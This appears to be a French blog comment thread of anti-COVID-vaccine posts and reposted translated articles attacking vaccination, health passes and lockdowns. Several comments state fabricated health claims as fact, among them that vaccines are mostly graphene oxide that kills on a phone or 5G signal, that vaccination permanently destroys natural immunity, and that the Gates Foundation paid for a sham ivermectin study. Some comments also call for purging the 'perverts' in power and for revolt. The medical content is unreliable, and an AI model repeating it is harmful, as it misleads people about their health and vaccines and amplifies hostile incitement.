Il y a toujours, encore à l’heure actuelle, malgré certaines évidences devenues difficiles à nier, des médecins charlatans qui pullulent sur les plateaux de télévision pour radoter leurs inepties « covidistes » et la nécessité de la « vaccination » anti-covid 19, persuadés qu’ils sont de répandre la bonne parole, de dire la vérité, de n’être qu’au service du bonheur de l’humanité.
Nous devrions avoir consulté déjà les nombreuses études scientifiques sur les traitements parfaitement efficaces qui existent contre la covid-19, (ceux qui veulent trouver les sources sont abondamment renseignés par l’ensemble des publications qui ont été faites sur www.mondialisation.ca au cours des deux années passées), mais ces médecins charlatans et inquisiteurs, donneurs de leçons de morale, qui prennent la parole dans les médias, préfèrent citer les « études indiscutables », qui condamnent et démolissent arbitrairement la réputation des traitements efficaces contre la covid-19, comme l’ivermectine. En effet, tout le monde devrait théoriquement savoir que le Docteur Andrew Hill a bien reçu une subvention de 40 millions de Dollars de la Fondation Gates pour publier une étude bidon contre l’ivermectine !
RépondreSupprimerNous savons comment le traitement à partir de l’hydroxychloroquine/azithromycine a été misérablement éliminé par une étude, elle aussi bidon, publiée sur le Lancet, étude qui s’est gravée comme la vérité dans la cervelle des imbéciles qui continuent de radoter leur condamnation sur les médias collabos, en étant persuadés qu’ils sont les détenteurs de la vérité révélée, les défenseurs de l’intérêt du bien commun, les protecteurs de l’humanité… On les connait tous et tous sont en conflits d’intérêts ou idiots qui n’ont comme seul argument bélier, que leur accusation intempestive de « complotisme » à l’encontre de ceux face auxquels ils n’ont aucun argument valable à opposer !
Il est temps de comprendre que l’accusation de « complotisme », contre ceux qui font preuve d’esprit critique, est régulièrement ânonné par ceux qui n’ont aucun argument à présenter. On accuse de « complotisme » quand on n’a aucun argument solide à opposer !
Dès que vous entendez quelqu’un accuser une personne de « complotiste », vous savez déjà que cette personne ne sait rien, qu’elle n’est pas informée ou qu’elle est en « conflit d’intérêts » ou carrément naïve et le jouet des pervers qui la manipulent en sous-main…
Quelqu’un qui est réellement informé, et non pas dans une croyance pour imbécile heureux, n’accuse jamais son interlocuteur de « complotiste », il argumente solidement et prouve scientifiquement que ses arguments tiennent la route…
Or, lorsque le Pr Péronne a invité ceux qui prennent la parole habituellement, à le rencontrer sur les médias courants, pour discuter scientifiquement du sujet de la « pandémie », personne du monde médical n’a jamais répondu à son invitation, tout simplement parce que ces médecins charlatans y compris de prestigieux professeurs de médecine savaient qu’ils défendaient résolument un mensonge !
Les ordures de l’humanité sont au pouvoir, elles se sont emparées du pouvoir et imposent leur perversion aux peuples qui sont martyrisés à perpétuité par le mensonge…
RépondreSupprimerQuand allons-nous donc nettoyer la Terre de cette racaille de pervers qui se sont emparés du pouvoir ? Jusqu’où allons-nous supporter l’insupportable et pousser le bouchon de la patience ? Combien de martyrs allons-nous comptabiliser avant de nous mettre en ordre de bataille pour mettre fin à ce délire ?
Pourquoi la révolte est-elle si difficile aujourd’hui ?
Parce que les pouvoirs savent qu’il faut étouffer à l’avance toute révolte potentielle en passant par une « non-violence » apparente. C’est une forme de dressage qui passe par le conditionnement collectif répété à travers toutes les approches politiques, sociales, culturelles d’une société peu à peu aseptisée et convaincue de supériorité civilisationnelle, éliminant d’office toute idée de violence ou de révolte qui ne viendra même plus à l’esprit de ceux qui auront ainsi été dressés, non pas à leur soumission, mais mieux que cela, à l’amour de leur soumission…
Les individus dressés à aimer leur soumission, ne peuvent plus avoir quelque velléité que ce soit à la révolte.
L’accès à un véritable savoir est devenu très difficile et réservé à une « élite ». Les télévisions vont collaborer massivement à ce travail de sape en diffusant des émissions débiles ou de divertissements, de leurres, d’amusements, un véritable détournement de l’attention sur des médiocrités qui ne demandent aucune réflexion de la part des téléspectateurs… et qui agissent hypnotiquement sur les personnes en les entraînant au consentement ou à la servitude volontaire…
Grâce à cela, l’esprit ne peut plus penser, il ne peut que recevoir les injonctions massives à sa soumission au système qui pensera pour lui ce que doit être sa vie, son intérêt, le sens de son existence réduite à une nouvelle forme d’esclavage radicalisé.
Tout discours subversif est éliminé de la culture. Le dérisoire est élevé au rang de l’essentiel. Le mensonge omniprésent devient la norme de la vérité. Tout est inversé dans les valeurs qui sont remplacées par des biens comme la santé du nouveau pan-médicalisme actuel.
La peur subtilement entretenue dans le mental individuel et collectif sera celle d’être parmi les exclus du système, d’être paria, d’être marginalisé, déclassé, rejeté dans le terrain vague de la désocialisation et ainsi ne plus pouvoir accéder au bonheur lié dans la conception normative à l’avoir et non plus à l’être.
RépondreSupprimerL’homme conditionné par ce système est un mouton qui sera traité comme tel et surveillé comme tel poussé dans son instinct grégaire. Cet individu du troupeau ne peut plus penser par lui-même, il ne peut plus faire preuve de conscience éveillée, il ne peut plus être lucide, il ne peut plus voir la manipulation dont il est l’objet, il est hypnotisé, anesthésié, conditionné, entraîné malgré lui dans une forme de croyance, celle qui consiste à « croire » que le Pouvoir ne peut ni se tromper ni le tromper ! Tout ce qui pourrait le réveiller est systématiquement traîné dans la boue de la raillerie, de la moquerie, de l’étouffement propagandiste et des raccourcis d’accusations caricaturales comme celle de « complotiste »…
Tout discours subversif est déclaré « terroriste » et ceux qui en font la promotion sont eux-mêmes traités de « terroristes ».
Ainsi, tout esprit critique devient en soi « criminel » et sa condamnation va de soi.
Les tyrans qui nous gouvernent procèdent donc par étapes, en utilisant le mensonge, l’hypocrisie, la tromperie, la manipulation, le bâton et la carotte !
Ils annonçaient la « vaccination » pour les seuls volontaires ; puis ils « incitaient » à la « vaccination » par un pass sanitaire dit « provisoire » ; puis ils allaient familiariser les gens à son utilisation habituelle et banalisée ; puis le pass sanitaire ne serait valable que si la troisième dose était faite ; depuis hier, Castex annonçait le passage du « pass sanitaire » en « pass vaccinal », transformant la « vaccination anti covid » en obligation si le citoyen ne veut pas être déclassé.
Pourtant, le règlement européen du 14 juin 2021 sur le « pass sanitaire » interdisait que cette mesure puisse aboutir à une discrimination entre les « vaccinés » et les « non-vaccinés ». Il n’y a plus de Droit, plus de règles, plus de lois, rien que la volonté farouche des excités de la piquouze !
https://eur-lex.europa.eu/legal-content/FR/TXT/PDF/?uri=CELEX:32021R0953&from=EN
Selon le Gouvernement britannique, une fois que vous avez reçu le double vaccin, « vous ne pouvez plus jamais acquérir une immunité naturelle complète contre les variantes du Covid – ou tout autre virus ». C’est ce que le docteur Vanden Bossche nous avait déjà expliqué il y a bien longtemps ! (Cf., article sur www.mondialisation.ca du 19 juin 2021)
Dans son « rapport de surveillance du vaccin COVID-19 » de la semaine 42, l’Agence de Sécurité Sanitaire du Royaume-Uni reconnaît à la page 23 que « les niveaux d’anticorps N semblent être plus faibles chez les personnes qui contractent l’infection après deux doses de vaccination. » Elle explique ensuite que cette baisse d’anticorps est pratiquement permanente.
RépondreSupprimerNous savons désormais que les vaccins « n’empêchent pas l’infection ou la transmission du virus » (les adultes « vaccinés » sont maintenant infectés à des taux beaucoup plus élevés que les « non-vaccinés »). Les Britanniques ont découvert que le vaccin « interfère avec la capacité immunitaire innée, après une infection, à produire des anticorps contre la protéine de pointe, mais aussi contre d’autres parties du virus. »
Les personnes « vaccinées » ne produisent plus d’anticorps contre la protéine de la nucléocapside, l’enveloppe du virus, qui est un élément pourtant déterminant de la réponse chez les personnes « non vaccinées ».
Conclusion : les personnes « vaccinées » seront considérablement plus vulnérables à toute mutation de la protéine de pointe pouvant se présenter, même si ces personnes ont déjà été infectées et si elles ont été guéries une ou plusieurs fois !
En revanche, les personnes « non vaccinées », présenteront une immunité naturelle durable, permanente, contre toutes les souches du théorique méchant virus, après avoir été infectées naturellement, même une seule fois.
(Confère page 24 du Rapport de l’Agence de Sécurité Sanitaire du Royaume-Uni : Vaccine-surveillance-report-week-42)
Encore une fois, cet acharnement des Etats profonds à vouloir « vacciner » à tout prix tout le monde, ne peut pas avoir une motivation sanitaire ! Lorsqu’il est informé, ne serait-ce que de ce qui a été dit dans cet article, le citoyen lambda doit se poser la question : « mais quelle est donc la motivation réelle de ces covidistes fanatiques radicalisés dans leur obsession vaccinale ? »
N’acceptez pas d’entrer dans la croyance. Ne vous comportez pas comme des moutons. Soyez responsables : désobéissez aux mesures criminelles de ce dressage !
https://www.mondialisation.ca/lesprit-critique-est-devenu-criminel/5663380
Grâce à seulement la 4G et la proximité de wifi les personnes qui se sont faites inoculer profond peuvent tomber au sol. Mais... grâce à 'bientôt la 5G' même les piqués sans téléphone crèveront ! Youpie !
SupprimerReste bien-sûr les sales gosses plus intelligents que les merdias ou politiques qui refusent de se faire inoculer !! Mais que fait la police ?!
ou plutôt "Mais que fait la révolution ?" !
Omicron : Nous vous avions prévenu que la farce de Covid ne finirait jamais
RépondreSupprimer3 décembre 2021
Par Brandon Smith
Vous vous souvenez quand Anthony Fauci et d'autres « professionnels » de la santé payés par le gouvernement ont déclaré que les Américains devaient se masquer et rester à la maison pendant deux semaines pour « aplatir la courbe » de la pandémie de covid ? Vous vous souvenez quand ils sont revenus deux semaines plus tard et ont dit qu'ils avaient besoin de quelques semaines supplémentaires ? Rappelez-vous comment ils ont un peu reculé des blocages et sont ensuite revenus avec des demandes de plus? Vous vous souvenez en 2019, lorsque les gens ne se recroquevillaient pas chez eux et derrière des masques face à un virus avec un IFR (taux de mortalité par infection) moyen de seulement 0,27 % ? Vous vous en souvenez ?
Au tout début de la réponse à la pandémie, moi et beaucoup d'autres dans les médias alternatifs avons averti que les mandats et les blocages n'allaient jamais prendre fin ; ils sont destinés à durer éternellement. J'ai prédit cela sur la base des déclarations faites par les mêmes mondialistes et institutions qui scénarisent la politique de réponse au Covid pour les gouvernements nationaux. Dans mon article « Waves Of Mutilation : Medical Tyranny And The Cashless Society » publié en avril 2020, j'ai décrit les commentaires du mondialiste Gideon Lichfield du MIT basés sur des livres blancs publiés par l'Imperial College de Londres. Dans l'article intitulé « Nous ne retournons pas à la normale », il décrit l'avenir du monde sous la tyrannie médicale de la covid :
« Pour arrêter le coronavirus, nous devrons changer radicalement presque tout ce que nous faisons : notre façon de travailler, de faire de l'exercice, de socialiser, de faire nos courses, de gérer notre santé, d'éduquer nos enfants, de prendre soin des membres de notre famille.
Nous voulons tous que les choses reviennent à la normale rapidement. Mais ce que la plupart d'entre nous n'ont probablement pas encore réalisé - et le fera bientôt -, c'est que les choses ne reviendront pas à la normale après quelques semaines, voire quelques mois. Certaines choses ne le seront jamais.
Il continue:
RépondreSupprimer"Tant que quelqu'un dans le monde a le virus, les éruptions peuvent et continueront de se reproduire sans contrôles stricts pour les contenir. Dans un rapport publié hier, des chercheurs de l'Imperial College de Londres ont proposé une façon de procéder : imposer des mesures de distanciation sociale plus extrêmes chaque fois que les admissions dans les unités de soins intensifs (USI) commencent à augmenter et les détendre à chaque fois que les admissions chutent… »
Lichfield soutient :
«En fin de compte, cependant, je prédis que nous rétablirons la capacité de socialiser en toute sécurité en développant des moyens plus sophistiqués d'identifier qui est un risque de maladie et qui ne l'est pas, et en discriminant – légalement – contre ceux qui le sont.
… on peut imaginer un monde dans lequel, pour prendre un vol, il faudra peut-être être abonné à un service qui suit vos déplacements via votre téléphone. La compagnie aérienne ne serait pas en mesure de voir où vous êtes allé, mais elle recevrait une alerte si vous aviez été à proximité de personnes infectées connues ou de points chauds de la maladie. Il y aurait des exigences similaires à l'entrée des grandes salles, des bâtiments gouvernementaux ou des plaques tournantes des transports en commun. Il y aurait des scanners de température partout et votre lieu de travail pourrait exiger que vous portiez un moniteur qui suit votre température ou d'autres signes vitaux. Là où les boîtes de nuit demandent une preuve d'âge, à l'avenir, elles pourraient demander une preuve d'immunité - une carte d'identité ou une sorte de vérification numérique via votre téléphone, montrant que vous avez déjà récupéré ou vacciné contre les dernières souches de virus.
Deux ans plus tard (au lieu de deux semaines), la farce covid continue. Par farce, je veux dire que le virus n'est pas une menace pour la santé de la grande majorité du public, mais les gouvernements et les médias continuent de craindre le monteur sur son existence tout en essayant de forcer les gens à accepter des vaccins expérimentaux sans test à long terme pour prouver qu'ils sont en sécurité. Dans presque tous les pays où les gens ont été pour la plupart désarmés ou dans tout pays avec un risque minime d'émeute, les totalitaires covid se précipitent pour s'emparer de chaque once de pouvoir possible avant que la population ne réalise ce qui se passe.
Je pourrais continuer encore et encore à décrire la montagne de faits scientifiques et de preuves qui démystifient complètement la panique suscitée par le covid, mais je l'ai déjà fait dans plusieurs articles. Je pourrais parler du fait que 99,7% ou plus des personnes ne sont pas en danger de mort par covid et seul un infime pourcentage des personnes hospitalisées par covid ont des effets secondaires à plus long terme sur la santé. Je pourrais mentionner le fait que les pays avec des taux de vaccination élevés comme Israël ou l'Irlande ont également les taux d'infection les plus élevés et de nombreux décès de personnes complètement vaccinées. Je pourrais également mentionner que l'immunité naturelle a été prouvée dans des études dans les pays majoritairement vaxxés comme étant supérieure à tous égards à la vaccination. Les autoritaires ne veulent pas l'entendre.
RépondreSupprimerEn Nouvelle-Zélande et en Australie, autrefois supposés bastions de la démocratie et de la liberté occidentales, les citoyens sont désormais confinés aux caprices des bureaucrates au premier signe d'un test PCR positif. Je dis depuis des mois que si vous voulez voir l'avenir que l'establishment veut pour les Américains, jetez un œil à des pays comme l'Australie où ils construisent en fait des camps de prisonniers covid gérés par l'armée. Des personnes ont même été arrêtées alors qu'elles tentaient de s'échapper de ces complexes. Non, ce n'est pas une théorie du complot, c'est un fait.
Dans ces camps, vous êtes sous le contrôle total du gouvernement. Tout comme n'importe quelle prison, ils vous nourrissent quand ils veulent vous nourrir, ils restreignent vos déplacements, ils vous isolent de vos amis et de votre famille, etc. Votre temps dans les camps peut même être « prolongé » par les administrateurs sans surveillance s'ils vous déterminent. se sont « mal conduits ». C'est vrai, il ne s'agit pas de savoir à quel point vous êtes contagieux, ce n'est pas une question de science, il s'agit de savoir à quel point vous êtes soumis.
Et vraiment, c'est tout ce que la réponse à la pandémie de covid a jamais été.
Regardez une nation comme l'Autriche, qui a 65% de vaccination et des taux d'infection en constante augmentation. Ils ont décidé que les personnes non vaccinées étaient à blâmer, alors ils ont ordonné à toute personne sans preuve de vaccination de se soumettre au confinement. Après cela, leurs infections et leurs décès ont augmenté encore plus. Ainsi, au lieu d'admettre la conclusion évidente et logique (que les vaccins ne fonctionnent pas, ou à tout le moins, que les verrouillages ne fonctionnent pas), ils ont ordonné un verrouillage pour TOUT LE MONDE. Pourquoi? Cacher le fait que les non vaxxés ne sont pas le problème.
Pour être clair, le pic initial qui a provoqué les blocages en Autriche s'est élevé à environ 300 décès, dont la grande majorité parmi les personnes âgées. En Autriche, les patients des maisons de soins infirmiers représentent environ 36 % de tous les décès dus à la covid. Pour être clair, ils éliminent les libertés de 9 millions de personnes et étranglent leur économie avec un pic de 300 décès. Chaque jour, des personnes meurent en grand nombre d'une multitude de maladies transmissibles. C'est un fait de la vie, ce n'est pas quelque chose à utiliser comme une arme politique et sociale.
RépondreSupprimerPour aller plus loin, l'Autriche menace également désormais un projet de loi sur la vaccination obligatoire qui autorise des amendes et des peines de prison pour les non vaccinés. Le statut de vaccination sera déterminé par le gouvernement et des injections de rappel pourraient être nécessaires à tout moment. Ce n'est pas parce que vous êtes complètement vacciné maintenant que vous serez considéré comme complètement vacciné demain. Cela ne finira jamais.
Les données montrent que la vaccination fait peu ou rien pour ralentir les taux réels d'infection ou de décès ; il y a eu plus de décès dus au covid en 2021 qu'en 2020 malgré la prolifération des vaccins cette année. C'est-à-dire que les vaccinations ont été introduites cette année et pourtant il y a eu plus de décès par covid que l'année dernière. N'est-ce pas étrange?
Les médias grand public affirment qu'il s'agit désormais d'une « pandémie de non-vaccinés ». Je suppose qu'ils devraient dire cela aux milliers de personnes complètement vaccinées infectées et aux centaines de personnes décédées dans des États comme le Massachusetts où ils suivent en fait les cas révolutionnaires. Bien sûr, les médias chantent toujours les louanges des vaccins malgré ces petits couacs.
Si les vaccins fonctionnaient réellement, alors il n'y aurait pas besoin de vaccinations obligatoires. Les personnes vaxxées seraient protégées et les personnes non vaxxées assumeraient les risques individuels. Le culte du covid ne semble pas saisir la logique ici - Soit les vaccins sont efficaces et il n'est pas nécessaire de les rendre obligatoires, soit ils ne sont pas efficaces, ce qui signifie que les rendre obligatoires est inutile.
Mais encore une fois, la logique et la science ne sont pas le point - le contrôle est le point. C'est une justification perpétuelle pour un contrôle infini. Cela ne finira jamais.
RépondreSupprimerLa réalité est que l'agenda covid n'a pas été si efficace si nous regardons la situation dans son ensemble. Si l'objectif est une vaccination à 100 % et des contrôles continus des passeports vax en utilisant des rappels réguliers comme mécanisme de domination à long terme (tyrannie médicale), alors jusqu'à présent, le plan a échoué. Certains pays sont tombés dans le long hiver covid, mais beaucoup d'autres ne l'ont pas fait. Presque tous les États conservateurs des États-Unis défient totalement les mandats et les tribunaux fédéraux ont bloqué les tentatives de Joe Biden de contourner la constitution. Si les États rouges d'Amérique tiennent bon, cela donne de l'espoir aux autres. Alors, que reste-t-il à faire aux marchands de pouvoir de l'establishment ?
C'est facile... ils font juste la même chose.
Entrez dans la variante Omicron de covid, quelque chose contre laquelle les «théoriciens du complot» ont mis en garde ces deux dernières années. C'est la beauté du récit pandémique lorsqu'il s'agit de construire un régime autoritaire mondial ; les virus changent constamment et de nouveaux virus peuvent même être créés si nécessaire. Par conséquent, il y a toujours une nouvelle menace d'effrayer le public et toujours une nouvelle raison de l'enfermer chez lui ou de lui demander de renoncer à davantage de ses libertés. C'est un cycle vampirique sans fin qui draine lentement la liberté d'une population.
Mettez de côté le fait que les médecins qui ont découvert Omicron en Afrique du Sud l'ont qualifié de légère variation de covid et de menace non significative pour le public. Cela est parfaitement logique. Dans la grande majorité des scénarios de pandémie, les virus ont tendance à évoluer vers des versions légèrement plus infectieuses mais beaucoup moins mortelles de l'original. Mais cela n'empêche pas les médias et les scientifiques du gouvernement de crier un meurtre sanglant à propos d'Omicron et même de suggérer que cette fois, la covid "pourrait" évoluer pour devenir plus meurtrière que moins.
Cela doit être fait. Ils n'ont plus rien et s'ils perdent le covid, ils perdent l'une des meilleures opportunités qu'ils aient jamais eu pour le contrôle centralisé de presque tous les individus sur Terre.
La peur du covid s'estompe. Des centaines de millions de personnes ne sont pas disposées à renoncer à leurs libertés face à une pandémie hype et ridicule avec un IFR de 0,27%. De nombreuses personnes vaccinées combattent les mandats aux côtés des personnes non vaccinées. La plupart d'entre nous ne sont pas obèses. La plupart d'entre nous n'avons pas 80 ans et sommes en maison de retraite. La plupart d'entre nous n'ont pas de conditions préexistantes. Ce sont tous des facteurs qui constituent la majorité des décès par covid. Beaucoup d'entre nous avaient déjà la covid et y ont facilement survécu, ce qui signifie que nous avons une immunité naturelle qui est 13 à 27 fois plus efficace pour arrêter les futures infections que les vaccins. Sans plus de battage et plus de variantes, la fête des mondialistes s'arrête, et ils n'aiment pas du tout cette idée.
RépondreSupprimerSi le public est autorisé à sortir un instant la tête de la brume de la propagande et à reprendre ses esprits, il pourrait se rendre compte qu'il a été la cible d'une campagne de terreur massive. Ils pourraient se mettre en colère. Ils pourraient exiger des enquêtes. Ils pourraient même exiger que certaines têtes mondialistes tombent. Alors, préparez-vous pour qu'Omicron reste dans les gros titres pour les mois à venir, puis la prochaine mutation et la prochaine mutation et la mutation après cela. Les mondialistes et les opportunistes politiques continueront avec le théâtre jusqu'à ce qu'ils obtiennent ce qu'ils veulent, ou jusqu'à ce qu'ils soient complètement retirés de l'équation. Cela ne finira jamais, à moins qu'ils ne finissent.
https://alt-market.us/omicron-we-warned-you-the-covid-farce-would-never-end/
Suffit de voir à la campagne, personne ne porte de masque et personne n'est vacciné !
SupprimerParce que le 'coronacircus19' n'est PAS dans l'air (comme pourrait l'être un microbe s'il existait) mais UNIQUEMENT sous la forme de virus (c'est-à-dire poussières) apporté UNIQUEMENT en seringues.
Mais comme une poussière (même nanométrique) peut-elle être offensive ??! Il ne s'agit pas de poussières naturelles et inoffensives émises par le magma mais de nano-poussières intelligentes fabriquées en laboratoires nazis. Ce sont des nano-particules (1/1000ème de millimètre) d'oxyde de graphène (poison mortel violent) qui peuvent se décortiquer à réception d'un signal émis par téléphone. La personne meurt instantanément (aujourd'hui sans téléphone grâce à la 5G).
Omicron : le dernier combat des Lockdowners
RépondreSupprimerPar Ron Paul, MD
Institut Ron-Paul
21 décembre 2021
Tout comme les mandats de vaccination inconstitutionnels du président Biden étaient déchirés par les tribunaux, des politiciens autoritaires, des bureaucrates de la santé publique et les médias grand public ont annoncé une nouvelle variante de Covid pour justifier une autre série de blocages et de restrictions. Les choses qui n'ont pas fonctionné la dernière fois seraient une bonne idée de recommencer cette fois, affirment-ils.
Pour ces autoritaires, le moment de l'émergence d'omicron était parfait.
La variante a été découverte pour la première fois en Afrique du Sud, les médias américains et européens diffusant des histoires effrayantes sans fin. Les politiciens autoritaires ont utilisé la peur fabriquée pour justifier une autre attaque contre la liberté. L'Europe s'est fermée et est devenue un camp de prisonniers virtuel. En Autriche, en Allemagne et ailleurs, les citoyens sont devenus des non-personnes sans passeport vaccinal.
Les responsables de la santé sud-africains ont signalé que la variante semblait être plus contagieuse mais beaucoup plus douce que les variantes précédentes, comme cela se produit généralement avec de tels virus. Mais les lockdowners n'en entendraient pas parler. De Boris Johnson au Royaume-Uni à DeBlasio à New York, la variante était une couverture parfaite pour qu'ils remettent leurs bottes sur le cou des citoyens terrorisés.
Comme on pouvait s'y attendre, Fauci s'est délecté de l'émergence de la nouvelle variante, mettant en garde contre des « morts record » pour les non vaccinés. De même, le président Biden a averti que ce serait un « hiver de la mort » pour les non vaccinés.
Mais voici quelque chose que les médias ne rapportent pas sur les épidémies d'omicron : elles ont lieu parmi les personnes entièrement vaccinées. L'Université Cornell, avec 97% du campus entièrement vacciné et un mandat de masque, a annoncé qu'elle reviendrait à l'enseignement en ligne uniquement après une épidémie massive de Covid. De même, la Ligue nationale de football a reporté plusieurs matchs ce week-end en raison d'épidémies de Covid, même si la Ligue est pratiquement vaccinée à 100%. Et la National Basketball Association, qui est à plus de 95 % entièrement vaccinée, vient d'annoncer qu'en raison d'une augmentation des cas de Covid, elle reportera également les matchs.
RépondreSupprimerLe vaccin ne fonctionne pas pour prévenir l'infection ou la transmission du virus : les cas font rage dans les États avec les niveaux de vaccins les plus élevés. Pourtant, les « experts » continuent d'affirmer que la seule chose qui peut arrêter la propagation de l'omicron, ce sont les vaccins ! De plus en plus de gens comprennent que cela n'a aucun sens. Si les vaccins n'arrêtent pas la propagation, comment les vaccins peuvent-ils arrêter la propagation ?
Pendant ce temps, l'Afrique du Sud, avec l'un des taux de vaccination les plus bas, vient d'annoncer qu'elle ne voit qu'une infime fraction des hospitalisations avec omicron par rapport aux variantes précédentes. L'autorité d'intervention Covid d'Afrique du Sud a écrit au ministre de la Santé pour recommander la fin des efforts de confinement, la recherche des contacts et les quarantaines.
L'Afrique du Sud non vaccinée met fin aux restrictions de Covid tandis que le Nord hyper-vacciné se verrouille. Quelque chose ne colle pas.
Fauci aime dire que l'interroger, c'est interroger la science, mais cela n'a rien à voir avec la science. C'est une question de pouvoir. Fauci, les autoritaires politiques et les milliardaires corrompus de Big Pharma tentent de prendre une dernière position, désespérés de pousser omicron comme justification pour davantage de tyrannie et de profits. Mais la science réelle ne coopère pas.
Omicron se répand et les vaccins ne l'arrêtent pas. Jusqu'à présent, près de la moitié des infections à omicron sont asymptomatiques. Certains experts prédisent qu'omicron sonnera le glas de Covid-19. Mais nous savons que tant que des gens comme Fauci seront là, Covid-19 ne finira jamais. A moins, bien sûr, de répudier les charlatans et les profiteurs et de réclamer notre liberté !
https://www.lewrockwell.com/2021/12/ron-paul/omicron-the-lockdowners-last-stand/
Soutenons les scientifiques qui nous sauvent:
Supprimer- Voir les clips (sur Odydee) des docteures Alexandra Henrion-Caude et d'Astrid Stuckelberger, Carrie Madej, Judy Mikovitz, Lee Merritt, Valentina Kiseleva, et sur les Drs Bhakdi, Martin, Kennedy, Mc Cullough, Geert Vanden Bosche, Yeadon, Reiner Fuellmich, Richard Fleming, et Catherine Austin Fitts, rapports VAERS de Christine Cotton, Martine Wonner, Valérie Bugault, Ariane Bilheran, Reiner Fuellmich, Jean-Dominique Michel, Miguel Barthéléry, Michael Levitt, Michael Yeadon, Christian Perronne, Jean-Bernard Fourtillan, Luc Montagnier, Gonzague Retourney, Louis Fouché, etc
Les scientifiques pharmaceutiques admettent que les vaccins COVID peuvent provoquer des caillots sanguins
RépondreSupprimer20 décembre 2021
Par Vasko Kohlmayer
"AstraZeneca découvre ce qui déclenche la formation de caillots sanguins après son injection", lit-on dans un titre récent de Mail Online.
"Oh oh oh !" on a envie de s'exclamer. C'est donc vrai après tout. Après près d'un an d'obstruction et de démentis, ils admettent officiellement que les vaccins COVID peuvent, en fait, provoquer des caillots sanguins.
Cela sera sans aucun doute un grand choc pour ceux qui croient aux récits des médias grand public, où tous les discours sur les blessures causées par les vaccins ont jusqu'à présent été rejetés comme de la « désinformation » de la part de ces anti-vaccins de droite.
On nous a dit à plusieurs reprises que seuls les fous croiraient que les vaccins COVID pourraient être dangereux. Après tout, les scientifiques et les responsables de la santé publique nous ont toujours rassurés sur le fait que ces vaccins sont « totalement sûrs et efficaces ».
Il s'avère, cependant, que le mantra « totalement sûr et efficace » n'est pas vrai, puisque ces scientifiques d'élite qui ont conçu ces vaccins admettent maintenant que leur produit peut également générer des caillots sanguins.
Mais nous ne devons pas trop nous en inquiéter, car ils nous informent également utilement qu'ils ont peut-être découvert ce qui, dans leurs vaccins, provoque ces effets secondaires mortels (c'est nous qui soulignons) :
Ils ont découvert que la coque du vaccin vectoriel – le virus du rhume affaibli utilisé pour enseigner aux cellules comment neutraliser le COVID – agit parfois comme un aimant et attire les plaquettes, une protéine présente dans le sang. Pour des raisons que les scientifiques étudient toujours, le corps confond alors ces plaquettes avec une menace et produit des anticorps pour les combattre. La combinaison des plaquettes et des anticorps qui s'agglutinent conduit à la formation de caillots sanguins dangereux.
Félicitations pour cette découverte, mais elle arrive un peu tard dans le jeu après que des centaines de millions de doses d'AstraZeneca aient été injectées dans le corps des gens dans le monde.
Pour éviter que de telles situations désagréables ne surviennent, les vaccins doivent normalement subir des tests approfondis, ce qui est un processus qui prend généralement plusieurs années.
Ces procédures gênantes, cependant, ont été en grande partie abandonnées en ce qui concerne les vaccins COVID, qui n'ont subi que quelques mois de tests avant d'être déployés. Seules les phases 1 et 2 des essais auraient été achevées – et cela à la hâte – avant que l'autorisation d'urgence ne soit donnée pour commencer l'administration de masse. À l'heure actuelle, le public est obligé de participer aux phases 3 et 4 des essais et, sans surprise, les gens souffrent de toutes sortes d'effets secondaires « imprévus ».
RépondreSupprimerOn se demande seulement quels autres effets secondaires mortels nous découvrirons dans les mois et les années à venir.
Une chose semble tout à fait certaine à ce stade : ces vaccins ne sont pas aussi sûrs qu'initialement annoncé.
Considérez le graphique ci-dessous, qui exprime les données de la base de données VAERS. Comme vous le savez peut-être, VAERS signifie Vaccine Adverse Event Reporting System, qui est un établissement géré par le gouvernement américain qui collecte des informations sur les effets secondaires des vaccins.
Le graphique montre le nombre de rapports annuels de décès suite à la vaccination au cours des trente dernières années. Il montre que les chiffres sont restés relativement stables de 1990 à 2020 et étaient généralement inférieurs à 500 cas par an. Cela a radicalement changé vers la fin de 2020, lorsque les vaccins COVID ont été introduits. À ce stade, nous assistons à une explosion rapide des rapports de décès. Donc exponentielle est l'augmentation que la ligne du graphique tire presque verticalement.
- voir graph sur site -
Vous pouvez voir la source du graphique ici.
Il devrait être très préoccupant qu'au cours des 12 derniers mois, il y ait eu plus de rapports de décès liés au vaccin qu'au cours des 29 années précédentes combinées.
À la lumière de cela, comment une personne sensée peut-elle prétendre que ces vaccins sont « parfaitement sûrs » ?
Dans le passé, les vaccins étaient rappelés s'il s'avérait que quelques dizaines de décès étaient directement causés par le vaccin.
Au Royaume-Uni, à eux seuls 73 décès ont déjà été directement liés à des caillots produits par le vaccin. Ceci, cependant, est une sous-estimation grossière de la réalité, car la plupart des décès dus au vaccin ne sont pas signalés en tant que tels, et encore moins font l'objet d'une enquête appropriée. Le chiffre 73 ne représente que la pointe la plus élevée de l'iceberg.
La question est de savoir pourquoi ces vaccins sont encore administrés en masse, étant donné ce que nous savons des dangers qu'ils représentent.
Plus étonnant encore, pourquoi vaccinons-nous les enfants, étant donné que le risque pour les enfants en bonne santé de COVID sévère est pratiquement nul ?
Une grande étude allemande a récemment révélé qu'au cours des 15 premiers mois de la pandémie, aucun enfant en bonne santé parmi les 5 à 18 ans n'est mort de COVID.
RépondreSupprimerAvant même la publication de l'étude allemande, le New York Times a observé que pour les enfants, "le danger de COVID sévère est si faible qu'il est difficile à quantifier".
Pourquoi, alors, exposons-nous les enfants au risque de caillots sanguins et d'autres affections graves – telles que la myocardite et la péricardite – étant donné qu'ils courent un risque négligeable de COVID grave ?
Vacciner les enfants devient d'autant plus absurde que l'on sait désormais que les vaccins ne protègent pas de l'infection.
Ce que nous faisons à nos enfants en leur injectant ces substances dangereuses est tout simplement inadmissible.
"Oui", Mabel, "ces vaccins sont parfaitement sûrs et efficaces. Et ils sont également bons pour les enfants."
Pour le croire, vous devez soit venir de Mars, soit écouter les médias grand public.
Caillots de sang, ça vous tente ?
https://www.americanthinker.com/blog/2021/12/pharma_scientists_admit_the_covid_vaccines_can_cause_blood_clots.html
Les 40 000 milliards de nano-particules d'oxyde de graphène contenues dans UNE seringue (ce qui représente de 95 à 99 % de la composition de la dose !) sont des poisons mortels violents qui peuvent s'agglomérer en boules (caillots) et boucher les artères entraînant la mort ou, se présenter en fils (morgelons) qui serviront d'antennes pour téléguider les inoculés qui se la font mettre profond.
SupprimerLe faux Omicron
RépondreSupprimerPar James Howard Kunstler
Kunstler.com
21 décembre 2021
